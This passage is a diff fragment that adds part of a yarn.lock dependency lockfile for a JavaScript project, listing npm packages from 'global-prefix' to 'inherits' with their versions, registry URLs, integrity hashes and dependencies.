+ which "^1.2.14"
+
+global-prefix@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
+ integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==
+ dependencies:
+ ini "^1.3.5"
+ kind-of "^6.0.2"
+ which "^1.3.1"
+
+global@^4.4.0:
+ version "4.4.0"
+ resolved "https://registry.yarnpkg.com/global/-/global-4.4.0.tgz#3e7b105179006a323ed71aafca3e9c57a5cc6406"
+ integrity sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==
+ dependencies:
+ min-document "^2.19.0"
+ process "^0.11.10"
+
+globals@^11.1.0:
+ version "11.12.0"
+ resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+ integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
+
+globalthis@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.2.tgz#2a235d34f4d8036219f7e34929b5de9e18166b8b"
+ integrity sha512-ZQnSFO1la8P7auIOQECnm0sSuoMeaSq0EEdXMBFF2QJO4uNcwbyhSgG3MruWNbFTqCLmxVwGOl7LZ9kASvHdeQ==
+ dependencies:
+ define-properties "^1.1.3"
+
+globby@11.0.1:
+ version "11.0.1"
+ resolved "https://registry.yarnpkg.com/globby/-/globby-11.0.1.tgz#9a2bf107a068f3ffeabc49ad702c79ede8cfd357"
+ integrity sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==
+ dependencies:
+ array-union "^2.1.0"
+ dir-glob "^3.0.1"
+ fast-glob "^3.1.1"
+ ignore "^5.1.4"
+ merge2 "^1.3.0"
+ slash "^3.0.0"
+
+globby@^9.2.0:
+ version "9.2.0"
+ resolved "https://registry.yarnpkg.com/globby/-/globby-9.2.0.tgz#fd029a706c703d29bdd170f4b6db3a3f7a7cb63d"
+ integrity sha512-ollPHROa5mcxDEkwg6bPt3QbEf4pDQSNtd6JPL1YvOvAo/7/0VAm9TccUeoTmarjPw4pfUthSCqcyfNB1I3ZSg==
+ dependencies:
+ "@types/glob" "^7.1.1"
+ array-union "^1.0.2"
+ dir-glob "^2.2.2"
+ fast-glob "^2.2.6"
+ glob "^7.1.3"
+ ignore "^4.0.3"
+ pify "^4.0.1"
+ slash "^2.0.0"
+
+globule@^1.0.0:
+ version "1.3.2"
+ resolved "https://registry.yarnpkg.com/globule/-/globule-1.3.2.tgz#d8bdd9e9e4eef8f96e245999a5dee7eb5d8529c4"
+ integrity sha512-7IDTQTIu2xzXkT+6mlluidnWo+BypnbSoEVVQCGfzqnl5Ik8d3e1d4wycb8Rj9tWW+Z39uPWsdlquqiqPCd/pA==
+ dependencies:
+ glob "~7.1.1"
+ lodash "~4.17.10"
+ minimatch "~3.0.2"
+
+good-listener@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50"
+ integrity sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=
+ dependencies:
+ delegate "^3.1.2"
+
+graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.1.9, graceful-fs@^4.2.0, graceful-fs@^4.2.4:
+ version "4.2.6"
+ resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
+ integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
+
+gud@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/gud/-/gud-1.0.0.tgz#a489581b17e6a70beca9abe3ae57de7a499852c0"
+ integrity sha512-zGEOVKFM5sVPPrYs7J5/hYEw2Pof8KCyOwyhG8sAF26mCAeUFAcYPu1mwB7hhpIP29zOIBaDqwuHdLp0jvZXjw==
+
+gzip-size@5.1.1:
+ version "5.1.1"
+ resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
+ integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==
+ dependencies:
+ duplexer "^0.1.1"
+ pify "^4.0.1"
+
+har-schema@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
+ integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
+
+har-validator@~5.1.3:
+ version "5.1.5"
+ resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd"
+ integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==
+ dependencies:
+ ajv "^6.12.3"
+ har-schema "^2.0.0"
+
+has-ansi@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
+ integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
+ dependencies:
+ ansi-regex "^2.0.0"
+
+has-bigints@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.1.tgz#64fe6acb020673e3b78db035a5af69aa9d07b113"
+ integrity sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==
+
+has-flag@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+ integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
+
+has-flag@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+ integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-glob@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/has-glob/-/has-glob-1.0.0.tgz#9aaa9eedbffb1ba3990a7b0010fb678ee0081207"
+ integrity sha1-mqqe7b/7G6OZCnsAEPtnjuAIEgc=
+ dependencies:
+ is-glob "^3.0.0"
+
+has-symbols@^1.0.1, has-symbols@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
+ integrity sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==
+
+has-unicode@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9"
+ integrity sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=
+
+has-value@^0.3.1:
+ version "0.3.1"
+ resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
+ integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
+ dependencies:
+ get-value "^2.0.3"
+ has-values "^0.1.4"
+ isobject "^2.0.0"
+
+has-value@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
+ integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
+ dependencies:
+ get-value "^2.0.6"
+ has-values "^1.0.0"
+ isobject "^3.0.0"
+
+has-values@^0.1.4:
+ version "0.1.4"
+ resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
+ integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
+
+has-values@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
+ integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
+ dependencies:
+ is-number "^3.0.0"
+ kind-of "^4.0.0"
+
+has@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
+ integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
+ dependencies:
+ function-bind "^1.1.1"
+
+hash-base@^3.0.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
+ integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==
+ dependencies:
+ inherits "^2.0.4"
+ readable-stream "^3.6.0"
+ safe-buffer "^5.2.0"
+
+hash-sum@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/hash-sum/-/hash-sum-1.0.2.tgz#33b40777754c6432573c120cc3808bbd10d47f04"
+ integrity sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=
+
+hash-sum@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/hash-sum/-/hash-sum-2.0.0.tgz#81d01bb5de8ea4a214ad5d6ead1b523460b0b45a"
+ integrity sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==
+
+hash.js@^1.0.0, hash.js@^1.0.3:
+ version "1.1.7"
+ resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
+ integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==
+ dependencies:
+ inherits "^2.0.3"
+ minimalistic-assert "^1.0.1"
+
+hast-to-hyperscript@^9.0.0:
+ version "9.0.1"
+ resolved "https://registry.yarnpkg.com/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz#9b67fd188e4c81e8ad66f803855334173920218d"
+ integrity sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA==
+ dependencies:
+ "@types/unist" "^2.0.3"
+ comma-separated-tokens "^1.0.0"
+ property-information "^5.3.0"
+ space-separated-tokens "^1.0.0"
+ style-to-object "^0.3.0"
+ unist-util-is "^4.0.0"
+ web-namespaces "^1.0.0"
+
+hast-util-from-parse5@^6.0.0:
+ version "6.0.1"
+ resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz#554e34abdeea25ac76f5bd950a1f0180e0b3bc2a"
+ integrity sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA==
+ dependencies:
+ "@types/parse5" "^5.0.0"
+ hastscript "^6.0.0"
+ property-information "^5.0.0"
+ vfile "^4.0.0"
+ vfile-location "^3.2.0"
+ web-namespaces "^1.0.0"
+
+hast-util-parse-selector@^2.0.0:
+ version "2.2.5"
+ resolved "https://registry.yarnpkg.com/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz#d57c23f4da16ae3c63b3b6ca4616683313499c3a"
+ integrity sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ==
+
+hast-util-raw@6.0.1:
+ version "6.0.1"
+ resolved "https://registry.yarnpkg.com/hast-util-raw/-/hast-util-raw-6.0.1.tgz#973b15930b7529a7b66984c98148b46526885977"
+ integrity sha512-ZMuiYA+UF7BXBtsTBNcLBF5HzXzkyE6MLzJnL605LKE8GJylNjGc4jjxazAHUtcwT5/CEt6afRKViYB4X66dig==
+ dependencies:
+ "@types/hast" "^2.0.0"
+ hast-util-from-parse5 "^6.0.0"
+ hast-util-to-parse5 "^6.0.0"
+ html-void-elements "^1.0.0"
+ parse5 "^6.0.0"
+ unist-util-position "^3.0.0"
+ vfile "^4.0.0"
+ web-namespaces "^1.0.0"
+ xtend "^4.0.0"
+ zwitch "^1.0.0"
+
+hast-util-to-parse5@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz#1ec44650b631d72952066cea9b1445df699f8479"
+ integrity sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ==
+ dependencies:
+ hast-to-hyperscript "^9.0.0"
+ property-information "^5.0.0"
+ web-namespaces "^1.0.0"
+ xtend "^4.0.0"
+ zwitch "^1.0.0"
+
+hastscript@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-6.0.0.tgz#e8768d7eac56c3fdeac8a92830d58e811e5bf640"
+ integrity sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w==
+ dependencies:
+ "@types/hast" "^2.0.0"
+ comma-separated-tokens "^1.0.0"
+ hast-util-parse-selector "^2.0.0"
+ property-information "^5.0.0"
+ space-separated-tokens "^1.0.0"
+
+he@^1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
+ integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
+
+header-case@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/header-case/-/header-case-1.0.1.tgz#9535973197c144b09613cd65d317ef19963bd02d"
+ integrity sha1-lTWXMZfBRLCWE81l0xfvGZY70C0=
+ dependencies:
+ no-case "^2.2.0"
+ upper-case "^1.1.3"
+
+highlight.js@^10.1.1, highlight.js@~10.7.0:
+ version "10.7.2"
+ resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.2.tgz#89319b861edc66c48854ed1e6da21ea89f847360"
+ integrity sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg==
+
+hmac-drbg@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
+ integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
+ dependencies:
+ hash.js "^1.0.3"
+ minimalistic-assert "^1.0.0"
+ minimalistic-crypto-utils "^1.0.1"
+
+hoist-non-react-statics@^3.3.0:
+ version "3.3.2"
+ resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz#ece0acaf71d62c2969c2ec59feff42a4b1a85b45"
+ integrity sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==
+ dependencies:
+ react-is "^16.7.0"
+
+homedir-polyfill@^1.0.1:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz#743298cef4e5af3e194161fbadcc2151d3a058e8"
+ integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
+ dependencies:
+ parse-passwd "^1.0.0"
+
+hosted-git-info@^2.1.4:
+ version "2.8.9"
+ resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
+ integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
+
+html-entities@^1.2.0:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
+ integrity sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==
+
+html-minifier-terser@^5.0.1:
+ version "5.1.1"
+ resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz#922e96f1f3bb60832c2634b79884096389b1f054"
+ integrity sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg==
+ dependencies:
+ camel-case "^4.1.1"
+ clean-css "^4.2.3"
+ commander "^4.1.1"
+ he "^1.2.0"
+ param-case "^3.0.3"
+ relateurl "^0.2.7"
+ terser "^4.6.3"
+
+html-tags@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/html-tags/-/html-tags-3.1.0.tgz#7b5e6f7e665e9fb41f30007ed9e0d41e97fb2140"
+ integrity sha512-1qYz89hW3lFDEazhjW0yVAV87lw8lVkrJocr72XmBkMKsoSVJCQx3W8BXsC7hO2qAt8BoVjYjtAcZ9perqGnNg==
+
+html-void-elements@^1.0.0:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-1.0.5.tgz#ce9159494e86d95e45795b166c2021c2cfca4483"
+ integrity sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w==
+
+html-webpack-plugin@^4.0.0:
+ version "4.5.2"
+ resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-4.5.2.tgz#76fc83fa1a0f12dd5f7da0404a54e2699666bc12"
+ integrity sha512-q5oYdzjKUIPQVjOosjgvCHQOv9Ett9CYYHlgvJeXG0qQvdSojnBq4vAdQBwn1+yGveAwHCoe/rMR86ozX3+c2A==
+ dependencies:
+ "@types/html-minifier-terser" "^5.0.0"
+ "@types/tapable" "^1.0.5"
+ "@types/webpack" "^4.41.8"
+ html-minifier-terser "^5.0.1"
+ loader-utils "^1.2.3"
+ lodash "^4.17.20"
+ pretty-error "^2.1.1"
+ tapable "^1.1.3"
+ util.promisify "1.0.0"
+
+htmlparser2@^3.10.1:
+ version "3.10.1"
+ resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f"
+ integrity sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==
+ dependencies:
+ domelementtype "^1.3.1"
+ domhandler "^2.3.0"
+ domutils "^1.5.1"
+ entities "^1.1.1"
+ inherits "^2.0.1"
+ readable-stream "^3.1.1"
+
+http-errors@1.7.2:
+ version "1.7.2"
+ resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
+ integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==
+ dependencies:
+ depd "~1.1.2"
+ inherits "2.0.3"
+ setprototypeof "1.1.1"
+ statuses ">= 1.5.0 < 2"
+ toidentifier "1.0.0"
+
+http-errors@~1.7.2:
+ version "1.7.3"
+ resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
+ integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
+ dependencies:
+ depd "~1.1.2"
+ inherits "2.0.4"
+ setprototypeof "1.1.1"
+ statuses ">= 1.5.0 < 2"
+ toidentifier "1.0.0"
+
+http-signature@~1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
+ integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
+ dependencies:
+ assert-plus "^1.0.0"
+ jsprim "^1.2.2"
+ sshpk "^1.7.0"
+
+https-browserify@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
+ integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
+
+iconv-lite@0.4.24:
+ version "0.4.24"
+ resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
+ integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+ dependencies:
+ safer-buffer ">= 2.1.2 < 3"
+
+icss-replace-symbols@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz#06ea6f83679a7749e386cfe1fe812ae5db223ded"
+ integrity sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=
+
+icss-utils@^4.0.0, icss-utils@^4.1.1:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467"
+ integrity sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==
+ dependencies:
+ postcss "^7.0.14"
+
+icss-utils@^5.0.0:
+ version "5.1.0"
+ resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-5.1.0.tgz#c6be6858abd013d768e98366ae47e25d5887b1ae"
+ integrity sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==
+
+ieee754@^1.1.4:
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
+ integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
+
+iferr@^0.1.5:
+ version "0.1.5"
+ resolved "https://registry.yarnpkg.com/iferr/-/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
+ integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
+
+ignore@^4.0.3:
+ version "4.0.6"
+ resolved "https://registry.yarnpkg.com/ignore/-/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
+ integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==
+
+ignore@^5.1.4:
+ version "5.1.8"
+ resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.1.8.tgz#f150a8b50a34289b33e22f5889abd4d8016f0e57"
+ integrity sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==
+
+immer@8.0.1:
+ version "8.0.1"
+ resolved "https://registry.yarnpkg.com/immer/-/immer-8.0.1.tgz#9c73db683e2b3975c424fb0572af5889877ae656"
+ integrity sha512-aqXhGP7//Gui2+UrEtvxZxSquQVXTpZ7KDxfCcKAF3Vysvw0CViVaW9RZ1j1xlIYqaaaipBoqdqeibkc18PNvA==
+
+import-cwd@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/import-cwd/-/import-cwd-2.1.0.tgz#aa6cf36e722761285cb371ec6519f53e2435b0a9"
+ integrity sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=
+ dependencies:
+ import-from "^2.1.0"
+
+import-fresh@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
+ integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
+ dependencies:
+ caller-path "^2.0.0"
+ resolve-from "^3.0.0"
+
+import-fresh@^3.1.0, import-fresh@^3.2.1:
+ version "3.3.0"
+ resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
+ integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
+ dependencies:
+ parent-module "^1.0.0"
+ resolve-from "^4.0.0"
+
+import-from@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/import-from/-/import-from-2.1.0.tgz#335db7f2a7affd53aaa471d4b8021dee36b7f3b1"
+ integrity sha1-M1238qev/VOqpHHUuAId7ja387E=
+ dependencies:
+ resolve-from "^3.0.0"
+
+imurmurhash@^0.1.4:
+ version "0.1.4"
+ resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+ integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+
+in-publish@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/in-publish/-/in-publish-2.0.1.tgz#948b1a535c8030561cea522f73f78f4be357e00c"
+ integrity sha512-oDM0kUSNFC31ShNxHKUyfZKy8ZeXZBWMjMdZHKLOk13uvT27VTL/QzRGfRUcevJhpkZAvlhPYuXkF7eNWrtyxQ==
+
+indent-string@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-2.1.0.tgz#8e2d48348742121b4a8218b7a137e9a52049dc80"
+ integrity sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=
+ dependencies:
+ repeating "^2.0.0"
+
+indent-string@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
+ integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==
+
+infer-owner@^1.0.3, infer-owner@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
+ integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==
+
+inflight@^1.0.4:
+ version "1.0.6"
+ resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+ integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
+ dependencies:
+ once "^1.3.0"
+ wrappy "1"
+
+inherits@2, inherits@2.0.4, inherits@^2.0.0, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.0, inherits@~2.0.1, inherits@~2.0.3:
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
